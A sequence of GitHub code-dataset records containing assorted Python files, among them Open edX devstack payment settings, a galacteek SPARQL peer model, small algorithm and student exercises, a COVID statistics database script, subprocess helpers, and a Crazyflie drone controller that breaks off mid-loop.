'EHNgP4mXL5mI54DQI1-EgXo6y0BDUzj5x1_8gQD0dNWSWS6pcLqlmGq8f5En6oos0z2L37a_EJ27mJ_a',\n 'cancel_checkout_path': PAYMENT_PROCESSOR_CANCEL_PATH,\n 'error_path': PAYMENT_PROCESSOR_ERROR_PATH,\n },\n 'stripe': {\n 'api_version': '2022-08-01; server_side_confirmation_beta=v1',\n 'enable_telemetry': None,\n 'log_level': 'debug',\n 'max_network_retries': 0,\n 'proxy': None,\n 'publishable_key': 'SET-ME-PLEASE',\n 'secret_key': 'SET-ME-PLEASE',\n 'webhook_endpoint_secret': 'SET-ME-PLEASE',\n 'error_path': PAYMENT_PROCESSOR_ERROR_PATH,\n 'cancel_checkout_path': PAYMENT_PROCESSOR_CANCEL_PATH,\n 'receipt_url': PAYMENT_PROCESSOR_RECEIPT_PATH,\n },\n 'android-iap': {\n 'google_bundle_id': 'org.edx.mobile',\n 'google_service_account_key_file': '<put-value-here>'\n },\n 'ios-iap': {\n 'ios_bundle_id': 'org.edx.mobile',\n }\n },\n}\n# END PAYMENT PROCESSING\n\n# Language cookie\nLANGUAGE_COOKIE_NAME = 'openedx-language-preference'\n\nEMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n\nREST_FRAMEWORK['DEFAULT_RENDERER_CLASSES'] = REST_FRAMEWORK['DEFAULT_RENDERER_CLASSES'] + ('rest_framework.renderers.BrowsableAPIRenderer',)\n\n#####################################################################\n# Lastly, see if the developer has any local overrides.\nif os.path.isfile(join(dirname(abspath(__file__)), 'private.py')):\n # noinspection PyUnresolvedReferences\n from .private import * # pylint: disable=import-error\n","repo_name":"openedx/ecommerce","sub_path":"ecommerce/settings/devstack.py","file_name":"devstack.py","file_ext":"py","file_size_in_byte":6160,"program_lang":"python","lang":"en","doc_type":"code","stars":138,"dataset":"github-code","pt":"47"} +{"seq_id":"12802623149","text":"import traceback\n\nfrom PyQt5.QtCore import QVariant\nfrom PyQt5.QtCore import Qt\n\nfrom galacteek import ensure\nfrom galacteek.core.iphandle import SpaceHandle\nfrom galacteek.did.ipid import IPService\nfrom galacteek.did import didExplode\nfrom galacteek.ld import uriTermExtract\nfrom galacteek.ui.helpers import getIcon\nfrom galacteek.ui.helpers import getMimeIcon\nfrom galacteek.ui.helpers import getIconFromIpfs\nfrom galacteek.ipfs import ipfsOp\nfrom galacteek.ipfs.cidhelpers import IPFSPath\n\nfrom . import SparQLListModel\nfrom . import SparQLItemModel\nfrom . import SparQLBaseItem\n\n\nIpServiceUriRole = Qt.UserRole\nIpServiceTypeRole = Qt.UserRole + 1\nDidRole = Qt.UserRole + 2\n\n\nclass PeersSparQLModel(SparQLListModel):\n avatars = {}\n\n def __init__(self, graphUri='urn:ipg:i:am', graph=None,\n peersTracker=None):\n super().__init__(graphUri=graphUri, graph=graph)\n\n self.pTracker = peersTracker\n\n def peerContextByDid(self, did: str):\n return self.pTracker.ctx.peers.byDid.get(did)\n\n def data(self, index, role=None):\n row = index.row()\n\n try:\n item = self._results[row]\n did = str(item['did'])\n pCtx = self.peerContextByDid(did)\n except KeyError:\n return QVariant(None)\n except IndexError:\n return QVariant(None)\n\n try:\n if role == Qt.DisplayRole:\n return SpaceHandle(str(item['handle'])).username\n elif role == Qt.UserRole:\n return str(item['did'])\n elif role == Qt.ToolTipRole:\n return str(item['did'])\n elif role == Qt.DecorationRole:\n avurl = str(item['avatarurl'])\n\n if not pCtx or not pCtx.peerActive:\n return getIcon('offline.png')\n\n if avurl not in self.avatars:\n ensure(self.fetchAvatar(avurl))\n return getIcon('peers.png')\n else:\n return self.avatars[avurl]\n except Exception:\n return QVariant(None)\n\n return QVariant(None)\n\n @ipfsOp\n async def fetchAvatar(self, ipfsop, url):\n path = IPFSPath(url)\n\n if path.valid:\n icon = await getIconFromIpfs(ipfsop, str(path))\n if icon:\n self.avatars[url] = icon\n\n def peersQuery(self):\n return '''\n PREFIX gs: <ips://galacteek.ld/>\n PREFIX did: <ips://galacteek.ld/did>\n PREFIX didv: <https://w3id.org/did#>\n PREFIX passsrv: <ips://galacteek.ld/DwebPassportService>\n PREFIX pass: <ips://galacteek.ld/DwebPassport>\n\n SELECT ?did ?handle ?pass ?avatarurl\n WHERE {\n ?did a gs:did .\n ?did didv:service ?psrv .\n\n ?did didv:service ?avsrv .\n ?avsrv a gs:DwebAvatarService .\n ?avsrv didv:serviceEndpoint ?avatarurl .\n\n ?psrv a gs:DwebPassportService .\n ?psrv didv:serviceEndpoint ?pass .\n ?pass gs:me ?person .\n ?person gs:ipHandleShort ?handle .\n }\n ORDER BY DESC(?handle)\n '''\n\n\nclass ServiceObjectsItem(SparQLBaseItem):\n def icon(self, column):\n return getIcon('folder-open.png')\n\n\nclass PeerServiceItem(SparQLBaseItem):\n def __init__(self, result, service, parent=None):\n super().__init__(data=result, parent=parent)\n self.service = service\n\n @property\n def srvUri(self):\n return self.itemData.get('srv')\n\n @property\n def srvType(self):\n # Extract the DID service type from the URI\n return uriTermExtract(self.itemData.get('srvtype', ''))\n\n def tooltip(self, column):\n return self.srvType\n\n def data(self, column, role):\n if role == Qt.DisplayRole and column == 0:\n didex = didExplode(self.srvUri)\n if didex:\n return didex['path'].lstrip('/')\n\n return self.srvUri\n\n return super().data(column, role)\n\n def icon(self, column):\n if self.srvType == IPService.SRV_TYPE_DWEBBLOG:\n return getIcon('feather-pen.png')\n elif self.srvType == IPService.SRV_TYPE_AVATAR:\n return getMimeIcon('image/generic')\n elif self.srvType in [IPService.SRV_TYPE_DWEBSITE_GENERIC,\n IPService.SRV_TYPE_HTTP_SERVICE,\n IPService.SRV_TYPE_HTTP_FORWARD_SERVICE]:\n return getMimeIcon('text/html')\n elif self.srvType == IPService.SRV_TYPE_GEMINI_CAPSULE:\n return getIcon('gemini.png')\n elif self.srvType == IPService.SRV_TYPE_ATOMFEED:\n return getIcon('atom-feed.png')\n elif self.srvType == IPService.SRV_TYPE_COLLECTION:\n return getIcon('folder-open.png')\n elif self.srvType in [IPService.SRV_TYPE_GENERICPYRAMID,\n IPService.SRV_TYPE_GALLERY]:\n return getIcon('pyramid-aqua.png')\n else:\n return getIcon('peers.png')\n\n\nclass DIDServicesSparQLModel(SparQLItemModel):\n def __init__(self, graphUri='urn:ipg:i:am', graph=None,\n peersTracker=None):\n super().__init__(graphUri=graphUri, graph=graph)\n\n self.pTracker = peersTracker\n self.rootItem = SparQLBaseItem(['Service'])\n\n def peerContextByDid(self, did: str):\n return self.pTracker.ctx.peers.byDid.get(did)\n\n def queryForParent(self, parent):\n if parent is self.rootItem and 0:\n return self.servicesQuery(), None\n elif isinstance(parent, PeerServiceItem):\n # If it's an ObjectsCollectionService, list the files in it\n\n if parent.srvType == 'ObjectsCollectionService':\n return self.collectionObjectsQuery(), {\n 'srv': parent.itemData['srv']\n }\n\n return None, None\n\n async def itemFromResult(self, result, parent):\n try:\n service = None\n pCtx = self.peerContextByDid(str(result.get('did')))\n if pCtx:\n service = pCtx.ipid.serviceInstance(str(result['srv']))\n\n if parent is self.rootItem:\n return PeerServiceItem(result, service, parent=parent)\n elif isinstance(parent, ServiceObjectsItem):\n return None\n elif isinstance(parent, PeerServiceItem):\n return ServiceObjectsItem(result, parent=parent)\n except Exception:\n traceback.print_exc()\n\n def servicesQuery(self):\n return '''\n PREFIX gs: <ips://galacteek.ld/>\n PREFIX did: <ips://galacteek.ld/did>\n PREFIX didv: <https://w3id.org/did#>\n\n SELECT ?srv ?srvtype ?did ?srvdescr\n WHERE {\n ?did a gs:did .\n ?did didv:service ?srv .\n ?srv a ?srvtype .\n OPTIONAL { ?srv gs:description ?srvdescr . } .\n }\n '''\n\n def collectionObjectsQuery(self):\n return '''\n PREFIX gs: <ips://galacteek.ld/>\n PREFIX did: <ips://galacteek.ld/did>\n PREFIX didv: <https://w3id.org/did#>\n PREFIX col: <ips://galacteek.ld/ObjectsCollectionEndpoint#>\n PREFIX ipfsobj: <ips://galacteek.ld/IpfsObject#>\n\n SELECT ?path ?srv ?obj\n WHERE {\n ?srv a gs:ObjectsCollectionService .\n ?srv didv:serviceEndpoint ?endp .\n ?endp col:objects ?obj .\n ?obj ipfsobj:path ?path .\n }\n '''\n","repo_name":"pinnaculum/galacteek","sub_path":"galacteek/core/models/sparql/peers.py","file_name":"peers.py","file_ext":"py","file_size_in_byte":7601,"program_lang":"python","lang":"en","doc_type":"code","stars":161,"dataset":"github-code","pt":"47"} +{"seq_id":"2624225355","text":"from typing import List, Tuple\n\nclass Solution:\n def find_the_other_two(self, nums: List[int], i: int) -> List[Tuple[int, int, int]]:\n \"\"\"\n In sorted list nums, for nums[i], find all j, k so that nums[i] + \\\n nums[j] + nums[k] is 0.\n :return list of lists, such as: [[-1, -1, 2], [-1, 0, 1]]\n \"\"\"\n result = []\n if nums[i] > 0 or i > len(nums) - 3:\n return []\n\n l = i + 1\n r = len(nums) - 1\n while l < r:\n if nums[i] + nums[l] + nums[r] > 0:\n r -= 1\n elif nums[i] + nums[l] + nums[r] < 0:\n l += 1\n else:\n result.append((nums[i], nums[l], nums[r]))\n l += 1\n r -= 1\n\n return result\n\n\n def threeSum(self, nums: List[int]) -> List[List[int]]:\n nums.sort()\n result = []\n for start in range(len(nums) - 2):\n result.extend(self.find_the_other_two(nums, start))\n\n result = set(result)\n return [[n1, n2, n3] for n1, n2, n3 in result]\n","repo_name":"aimin-tang/leetcode","sub_path":"qs/three_sum_15.py","file_name":"three_sum_15.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24008832192","text":"#Escreva a função n_primos que recebe um número inteiro maior ou igual a 2\r\n# como parâmetro e devolve a quantidade de números primos que existem entre\r\n# 2 e n (incluindo 2 e, se for o caso, n).\r\n\r\n#Nao consigo imprimir a soma dos números primos.\r\n\r\n\r\n\r\n\r\n\r\ndef n_primos(x):\r\n fator = 2\r\n if x== 2:\r\n return True\r\n\r\n while x % fator !=0 and fator < x/2:\r\n fator = fator + 1\r\n if x % fator ==0:\r\n return False\r\n else:\r\n return True\r\n return True\r\n\r\nlimite = int(input(\"Limite máximo: \"))\r\nn = 2\r\n\r\nwhile n < limite:\r\n if n_primos(n):\r\n print(n, end=\" \")\r\n\r\n n = n + 1\r\n\r\n\r\n#print (\"\\n\\nForam encontrados %d números primos.\" %p)\r\n\r\n\r\n\r\n","repo_name":"ggbr/learning_python","sub_path":"teste_n_primos.py","file_name":"teste_n_primos.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21206831356","text":"#!/usr/bin/env python3\n# Séance de TP n° 9\n# TP 7\n# Exercice 1\n# Auteur KHRIS Badreddine\n# Date : 23/11/2022\n\nimport os.path\n\ndef cat(chemin):\n \"\"\"Lis un fichier et numerote les lignes\"\"\"\n if os.path.exists(chemin) :\n if os.path.isfile(chemin):\n user = True\n while user == True :\n \n with open(chemin, 'r') as fd: # Ouverture en lecture\n content = fd.read() # Lecture du fichier\n lignes = content.rstrip('\\n').split('\\n') # Liste des lignes\n for no in range(len(lignes)) :\n if no%20 == 0 and no != 0:\n teste = input(\"appuyez sur entrée pour continuer\") \n if teste == \"\" :\n user = False\n ligne = lignes[no]\n print(no+1, ':', ligne) # Affichage\n \n else :\n print(\"Fichier inexsistan : \")\n else :\n print(\"Fichier inexsistan : \")\n return \"\"\n \n\n \n \n \n# --------------------------------------------------\n# Programme principal\n# --------------------------------------------------\ndef main():\n print(cat(\"/etc/passwd\"))\n \n \n \nif __name__ == \"__main__\":\n main()","repo_name":"Badreddine15/TP7","sub_path":"affiche.py","file_name":"affiche.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31314503749","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 3 11:43:08 2020\n\n@author: User\n\"\"\"\nfrom setup import connect_to_database\nfrom config_test import *\nimport time\nimport mysql.connector\nfrom mysql.connector import errorcode\nimport logging\nlogging.basicConfig(filename='calculation_log.log',level=logging.DEBUG)\nlogging.info('Start program')\n\nCompaired = 0\nUpdated = 0\nNew_entries = 0\n\nquery = (\"SELECT Datum,Gemeentenaam, Gemeentecode, Aantal FROM Corona_per_gemeente ORDER BY Gemeentecode ASC, Datum ASC\")\nquery_2 = (\"SELECT Gemeentecode, Update_date,Totaal FROM corona_totaal_per_gemeente WHERE Gemeentecode ={}\")\ninsert_new_table = (\"INSERT INTO `corona_totaal_per_gemeente` (`Gemeentecode`, `Gemeentenaam`, `Update_date`, `Totaal`) VALUES (%s, %s, %s, %s)\")\nupdate_table = (\"UPDATE `corona_totaal_per_gemeente` SET Update_date = %s, Totaal = %s WHERE Gemeentecode = %s\")\n\ninfo_string=(\"Operation complete! Operation took: {} Seconds, Compaired {} Items, Added {} New items and Updated {} Items\")\n\ntry:\n cnx=connect_to_database()\n \nexcept mysql.connector.Error as err:\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\n logging.warning(\"invalid_login\")\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\n logging.warning(\"invalid database\")\n else:\n logging.warning(err)\nelse:\n start_time = time.time()\n cursor = cnx.cursor()\n second_sellect = cnx.cursor()\n insert_cursor = cnx.cursor()\n start_time = time.time()\n cursor.execute(query)\n bla = cursor.fetchall()\n for (Datum, Gemeentenaam ,Gemeentecode, Aantal) in bla:\n print(Gemeentecode, Datum)\n second_sellect.execute(query_2.format(Gemeentecode))\n data = second_sellect.fetchone()\n Compaired +=1\n if data == None:\n logging.info(\"Gemeente {} niet in de database gevonden Update datum = {}\".format(Gemeentecode, Datum))\n insert_cursor.execute(insert_new_table,(Gemeentecode,Gemeentenaam,Datum,Aantal))\n New_entries+=1\n \n elif data[1] < Datum :\n logging.info(\"{} < {} Datum is outdated\".format(data[1],Datum))\n insert_cursor.execute(update_table,(Datum, data[2]+Aantal, Gemeentecode))\n Updated+=1\n else:\n logging.info(\"Compaired and up to date\")\n cnx.commit()\n end_time = time.time()-start_time\n logging.info(info_string.format(end_time,Compaired,New_entries,Updated))\n print(info_string.format(end_time,Compaired,New_entries,Updated))\n cnx.close()\n ","repo_name":"jordy-u/COVID-19-Dashboard-NL","sub_path":"Backend/calculating_totals.py","file_name":"calculating_totals.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18961509877","text":"#40mins\r\n\r\nimport time\r\n\r\ndef isprime(num):\r\n\t# to determine if a num is a prime num, let num % 2 to num's sqrt,\r\n\t# if any of the results isn't 0, then the num is not a prime, else it is.\r\n\tfor x in range(2,int(num**0.5)+1,1):\r\n\t\tif num%x == 0:\r\n\t\t\treturn False\r\n\treturn True\r\n\r\nstart = time.time()\r\n\r\nrank = 1\r\nnum = 2\r\nwhile rank!=10001:\r\n\tnum+=1\r\n\tif isprime(num):\r\n\t\trank+=1\t\r\n\t\r\nprint(num)\r\n\r\nend = time.time()\r\nprint(f'{end - start}s')\r\n","repo_name":"tonyli1121/Project_euler_scripts","sub_path":"7._10001st_prime_number.py","file_name":"7._10001st_prime_number.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"1716315301","text":"class node:\n def __init__(self,data=None):\n self.data = data\n self.next = None\n\nclass Stack:\n def __init__(self):\n self.head = node()\n\n def add (self ,data):\n \n new_node = node(data)\n if self.head.data == None:\n self.head = new_node\n\n else:\n cur = self.head \n self.head = new_node\n new_node.next = cur \n\n return 1\n\n def pop(self):\n if self.head.next:\n #get next node then make that the first node \n self.head = self.head.next \n return 1\n self.head = node()\n\n def length(self):\n cur = self.head\n append = 0\n while cur:\n append+=1\n cur = cur.next\n return append\n\n def display(self):\n elements = []\n cur = self.head\n while cur:\n elements.append(cur.data)\n cur = cur.next\n return elements\n \n def index(self, data):\n index = 0\n cur = self.head\n if data > self.length():\n print(\"Error 'index' out of range at \",data )\n\n while True:\n if data == index:\n return cur.data\n cur = cur.next\n index +=1 \n\n\nstack = Stack()\nstack.add(1)\nstack.add(2)\nstack.add(3)\nprint(stack.display())\nstack.pop()\nprint(stack.display())\nprint(stack.length())\nprint(stack.index(0))\n\n\n#add pop length display index all work","repo_name":"Eranmonnie/DSA-PYTHON","sub_path":"DATA STRUCTURES/stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8184474106","text":"#!/usr/bin/env python\n\nimport sys\nimport os\nimport platform\nimport shlex\nimport subprocess\nfrom subprocess import PIPE, STDOUT, DEVNULL #Necessary module loading: pip3 install subprocess32\n\ndef run(cmd, env=None, cwd=None, errors=None, out=PIPE):\n result = subprocess.run(shlex.split(cmd), stdout=out, stderr=errors, encoding=sys.stdout.encoding, env=env, cwd=cwd)\n return result.stdout.rstrip()\n\ndef __callWin(cmd, env, cwd, errors, out, hideCLI):\n startupinfo = subprocess.STARTUPINFO()\n if hideCLI:\n startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\n subprocess.call(shlex.split(cmd), stdout=out, stderr=errors, encoding=sys.stdout.encoding, env=env, cwd=cwd, startupinfo=startupinfo)\n\ndef __callMac(cmd, env, cwd, errors, out, hideCLI):\n subprocess.call(shlex.split(cmd), stdout=out, stderr=errors, encoding=sys.stdout.encoding, env=env, cwd=cwd)\n\ndef call(cmd, env=None, cwd=None, errors=None, out=PIPE, hideCLI=False):\n if platform.system() == 'Windows':\n __callWin(cmd, env, cwd, errors, out, hideCLI)\n else:\n __callMac(cmd, env, cwd, errors, out, hideCLI) \n\ndef popenCommunicate(cmd, inData, cwd=None):\n process = subprocess.Popen(shlex.split(cmd), stdout=PIPE, stdin=PIPE, encoding=sys.stdout.encoding, cwd=cwd)\n return process.communicate(input=inData)[0].rstrip()\n \ndef backgroundDetachedPopen(cmd, cwd=None, logfile=None):\n kwargs = {}\n if platform.system() == 'Windows':\n # from msdn [1]\n CREATE_NEW_PROCESS_GROUP = 0x00000200 # note: could get it from subprocess\n DETACHED_PROCESS = 0x00000008 # 0x8 | 0x200 == 0x208\n kwargs.update(creationflags=DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP) \n \n startupinfo = subprocess.STARTUPINFO()\n startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\n kwargs.update(startupinfo=startupinfo) \n elif sys.version_info < (3, 2): # assume posix\n kwargs.update(preexec_fn=os.setsid)\n else: # Python 3.2+ and Unix\n kwargs.update(start_new_session=True)\n p = subprocess.Popen(shlex.split(cmd), \n encoding=sys.stdout.encoding, \n cwd=cwd, \n close_fds=True,\n stdout=logfile, stderr=logfile,\n **kwargs)\n assert not p.poll()\n return p","repo_name":"Sergey-Lomov/GitAutosave","sub_path":"gas/utils/execution.py","file_name":"execution.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10130124207","text":"import threading\nimport time\nimport sys\nimport logging\nimport tkinter\nimport numpy as np\nfrom threading import Thread\nimport joystickThread as jst\nimport transformations as trans\n#from pyquaternion import Quaternion\nfrom droneSTAB import droneSTAB\n\nimport cflib\nfrom cflib.crazyflie import Crazyflie\nfrom cflib.crazyflie.log import LogConfig\n\n\nlogging.basicConfig(level=logging.ERROR)\n\nURI = 'radio://0/80/2M'\n\nclass Controller:\n def __init__(self,link_uri):\n self.joystick = None\n self.rate = 100 # [Hz]\n self.cf = Crazyflie(rw_cache='./cache')\n self.stabilizer=droneSTAB()\n self.joystickMode = False\n self.KILL = False\n self.KILL_HEIGHT = 0.1\n self.flying = False\n self.hasParked = False\n self.hasLanded = False\n self.x=0\n self.y=0\n self.z=0\n\n self.smoothing_number = 2\n #sets the velocity estimation weights based on smoothing number\n if self.smoothing_number == 2:\n self.vel_weights = np.array([0.5, 0.5])\n elif self.smoothing_number == 3:\n self.vel_weights = np.array([0.1, 0.3, 0.6])\n elif self.smoothing_number == 4:\n self.vel_weights = np.array([0.05, 0.2, 0.25, 0.4])\n else:\n self.vel_weights = np.ones(self.smoothing_number)* 1/self.smoothing_number\n\n self.vx_reg = np.zeros(self.smoothing_number)\n self.vy_reg = np.zeros(self.smoothing_number)\n self.vz_reg = np.zeros(self.smoothing_number)\n self.vx_avg = 0\n self.vy_avg = 0\n self.vz_avg = 0\n\n # add a bunch of callbacks to initialize logging or\n # print out connection problems\n self.cf.connected.add_callback(self._connected)\n self.cf.disconnected.add_callback(self._disconnected)\n self.cf.connection_failed.add_callback(self._connection_failed)\n self.cf.connection_lost.add_callback(self._connection_lost)\n\n # Control period. [ms]\n self.period_in_ms = 10 # a random number\n self.joystickHatDelta = 0.4*self.period_in_ms/1000\n # Pose estimate from the Kalman filter\n self.pos = np.r_[0.0, 0.0, 0.0]\n self.vel = np.r_[0.0, 0.0, 0.0]\n self.attq = np.r_[0.0, 0.0, 0.0, 1.0]\n self.R = np.eye(3)\n\n # Attitide (roll, pitch, yaw) from stabilizer\n self.stab_att = np.r_[0.0, 0.0, 0.0]\n\n # This makes Python exit when this is the only thread alive.\n self.daemon = True\n\n # Start connection with drone!\n print('Trying to connect to %s' % link_uri)\n self.cf.open_link(link_uri)\n\n def _connected(self, link_uri):\n \"\"\" This callback is called form the Crazyflie API when a Crazyflie\n has been connected and the TOCs have been downloaded.\"\"\"\n log_stab_att = LogConfig(name='Stabilizer', period_in_ms=self.period_in_ms)\n log_stab_att.add_variable('stabilizer.roll', 'float')\n log_stab_att.add_variable('stabilizer.pitch', 'float')\n log_stab_att.add_variable('stabilizer.yaw', 'float')\n self.cf.log.add_config(log_stab_att)\n\n log_pos = LogConfig(name='Kalman Position', period_in_ms=self.period_in_ms)\n log_pos.add_variable('kalman.stateX', 'float')\n log_pos.add_variable('kalman.stateY', 'float')\n log_pos.add_variable('kalman.stateZ', 'float')\n self.cf.log.add_config(log_pos)\n\n log_vel = LogConfig(name='Kalman Velocity', period_in_ms=self.period_in_ms)\n log_vel.add_variable('kalman.statePX', 'float')\n log_vel.add_variable('kalman.statePY', 'float')\n log_vel.add_variable('kalman.statePZ', 'float')\n self.cf.log.add_config(log_vel)\n\n log_att = LogConfig(name='Kalman Attitude',\n period_in_ms=self.period_in_ms)\n log_att.add_variable('kalman.q0', 'float')\n log_att.add_variable('kalman.q1', 'float')\n log_att.add_variable('kalman.q2', 'float')\n log_att.add_variable('kalman.q3', 'float')\n self.cf.log.add_config(log_att)\n\n if log_stab_att.valid and log_pos.valid and log_vel.valid and log_att.valid:\n log_stab_att.data_received_cb.add_callback(self._log_data_stab_att)\n log_stab_att.error_cb.add_callback(self._log_error)\n log_stab_att.start()\n\n log_pos.data_received_cb.add_callback(self._log_data_pos)\n log_pos.error_cb.add_callback(self._log_error)\n log_pos.start()\n\n log_vel.error_cb.add_callback(self._log_error)\n log_vel.data_received_cb.add_callback(self._log_data_vel)\n log_vel.start()\n\n log_att.error_cb.add_callback(self._log_error)\n log_att.data_received_cb.add_callback(self._log_data_att)\n log_att.start()\n else:\n raise RuntimeError('One or more of the variables in the configuration was not'\n 'found in log TOC. Will not get any position data.')\n Thread(target=self.run).start()\n\n def _disconnected(self, link_uri):\n print('Disconnected from %s' % link_uri)\n\n def _connection_failed(self, link_uri, msg):\n print('Connection to %s failed: %s' % (link_uri, msg))\n\n def _connection_lost(self, link_uri, msg):\n print('Connection to %s lost: %s' % (link_uri, msg))\n\n def _log_data_stab_att(self, timestamp, data, logconf):\n self.stab_att = np.r_[data['stabilizer.roll'],\n data['stabilizer.pitch'],\n data['stabilizer.yaw']]\n self.pitch = data['stabilizer.pitch']\n self.roll = data['stabilizer.roll']\n self.yaw = data['stabilizer.yaw']\n\n def _log_data_pos(self, timestamp, data, logconf):\n self.pos = np.r_[data['kalman.stateX'],\n data['kalman.stateY'],\n data['kalman.stateZ']]\n self.x = data['kalman.stateX']\n self.y = data['kalman.stateY']\n self.z = data['kalman.stateZ']\n\n def _log_data_vel(self, timestamp, data, logconf):\n vel_bf = np.r_[data['kalman.statePX'],\n data['kalman.statePY'],\n data['kalman.statePZ']]\n self.vx = data['kalman.statePX']\n self.vy = data['kalman.statePY']\n self.vz = data['kalman.statePZ']\n self.vel = np.dot(self.R, vel_bf)\n self.update_speed_regs()\n\n def _log_data_att(self, timestamp, data, logconf):\n # NOTE q0 is real part of Kalman state's quaternion, but\n # transformations.py wants it as last dimension.\n self.attq = np.r_[data['kalman.q1'], data['kalman.q2'],\n data['kalman.q3'], data['kalman.q0']]\n # Extract 3x3 rotation matrix from 4x4 transformation matrix\n self.R = trans.quaternion_matrix(self.attq)[:3, :3] #Blåe's line\n #self.R = Quaternion(self.attq) #Joar's line\n #r, p, y = trans.euler_from_quaternion(self.attq)\n\n def _log_error(self, logconf, msg):\n print('Error when logging %s: %s' % (logconf.name, msg))\n\n def make_position_sanity_check(self):\n # We assume that the position from the LPS should be\n # [-20m, +20m] in xy and [0m, 5m] in z\n if np.max(np.abs(self.pos[:2])) > 20 or self.pos[2] < 0 or self.pos[2] > 5:\n raise RuntimeError('Position estimate out of bounds', self.pos)\n\n def reset_estimator(self):\n self.cf.param.set_value('kalman.resetEstimation', '1')\n time.sleep(0.1)\n self.cf.param.set_value('kalman.resetEstimation', '0')\n # Sleep a bit, hoping that the estimator will have converged\n # Should be replaced by something that actually checks...\n time.sleep(1.5)\n\n def check_kill_conditions(self):\n if (self.pitch**2 + self.roll**2) > 45**2:\n self.KILL = True\n \n\n\n def update_speed_regs(self):\n for i in range(self.smoothing_number - 1):\n self.vx_reg[i] = self.vx_reg[i]\n self.vy_reg[i] = self.vy_reg[i]\n self.vz_reg[i] = self.vz_reg[i]\n self.vx_reg[-1] = self.vx\n self.vy_reg[-1] = self.vy\n self.vz_reg[-1] = self.vz\n\n self.vx_avg = np.dot(self.vx_reg, self.vel_weights)\n self.vy_avg = np.dot(self.vy_reg, self.vel_weights)\n self.vz_avg = np.dot(self.vz_reg, self.vel_weights)\n\n def enable_joystick_mode(self):\n if self.joystick is None:\n print(\"Trying to enable manual mode with no joystick connected!\")\n else:\n self.joystickMode = True\n\n def disable_joystick_mode(self):\n self.joystickMode = False\n\n def set_joystick(self, joystick):\n #if joystick is jst.joyStickThread:\n # self.joystick = joystick\n #else:\n # print(\"Fatal error: Incorrect reference\")\n self.joystick = joystick\n\n def setRef(self,xref,yref,zref):\n self.setPointX=xref\n self.setPointY=yref\n self.setPointZ=zref\n\n def takeoff(self):\n self.setPointX = self.x\n self.setPointY = self.y\n self.setPointZ = 1\n self.flying=True\n\n def run(self):\n \"\"\"Control loop\"\"\"\n try:\n print('Waiting for position estimate to be good enough...')\n self.reset_estimator()\n self.make_position_sanity_check();\n self.originX = self.x\n self.originY = self.y\n self.setPointX = self.originX\n self.setPointY = self.originY\n self.setPointZ = 1\n\n\n startTime = time.time()\n\n while not self.KILL:\n timeStart = time.time()\n\n while not self.flying:\n if not self.hasLanded:\n self.setPointX = self.x\n self.setPointY = self.y\n landTime = 2\n landStartTime = time.time()\n while (time.time() - landStartTime) < landTime and not self.KILL and self.z > self.KILL_HEIGHT:\n timeStart = time.time()\n attitude=self.stabilizer.rollPitchStabPos(np.array([self.x,self.y]),np.array([self.vx_avg,self.vy_avg]),self.yaw,np.array([self.setPointX,self.setPointY]))\n thrust=self.stabilizer.thrustStab(self.z, self.vz_avg,self.KILL_HEIGHT+0.1, True, self.roll, self.pitch)\n yaw=self.stabilizer.yawStab(self.yaw,0)\n self.cf.commander.send_setpoint(attitude[0],attitude[1],0,thrust)\n self.loop_sleep(timeStart)\n\n self.hasLanded = True\n timeStart = time.time()\n self.cf.commander.send_setpoint(0,0,0,0)\n self.loop_sleep(timeStart)\n\n self.hasLanded = False\n self.check_kill_conditions()\n self.update_speed_regs()\n\n\n if self.joystickMode:\n pitch = self.joystick.pitch\n roll = self.joystick.roll\n yaw = self.joystick.yaw\n hat = self.joystick.hat\n if hat is not None:\n self.setPointZ = self.setPointZ + hat*self.joystickHatDelta\n \n thrust=self.stabilizer.thrustStab(self.z, self.vz_avg, self.setPointZ ,self.joystickMode)\n\n if (pitch == 0) and (roll == 0) and (yaw == 0):\n if not self.hasParked:\n self.setPointX = self.x\n self.setPointY = self.y\n\n self.hasParked = True\n attitude=self.stabilizer.rollPitchStabPos(np.array([self.x,self.y]),np.array([self.vx_avg,self.vy_avg]),self.yaw,np.array([self.setPointX,self.setPointY]))\n thrust=self.stabilizer.thrustStab(self.z, self.vz_avg, self.setPointZ, True, self.roll, self.pitch)\n yaw=self.stabilizer.yawStab(self.yaw,0)\n self.cf.commander.send_setpoint(attitude[0],attitude[1],yaw,thrust)\n\n else:\n self.hasParked = False\n self.cf.commander.send_setpoint(roll, -pitch ,yaw,thrust)\n\n else:\n attitude=self.stabilizer.rollPitchStabPos(np.array([self.x,self.y]),np.array([self.vx_avg,self.vy_avg]),self.yaw,np.array([self.setPointX,self.setPointY]))\n thrust=self.stabilizer.thrustStab(self.z, self.vz_avg, self.setPointZ, True, self.roll, self.pitch)\n yaw=self.stabilizer.yawStab(self.yaw,0)\n \n self.cf.commander.send_setpoint(attitude[0],attitude[1],yaw,thrust)\n \n\n\n\n self.loop_sleep(timeStart)\n\n if self.KILL:\n print('KILL detected')\n self.cf.commander.send_setpoint(0,0,0,0)\n self.cf.close_link()\n\n except (KeyboardInterrupt):\n print(\"KEYBOARD INTERRUPT\")\n for i in range(130):\n 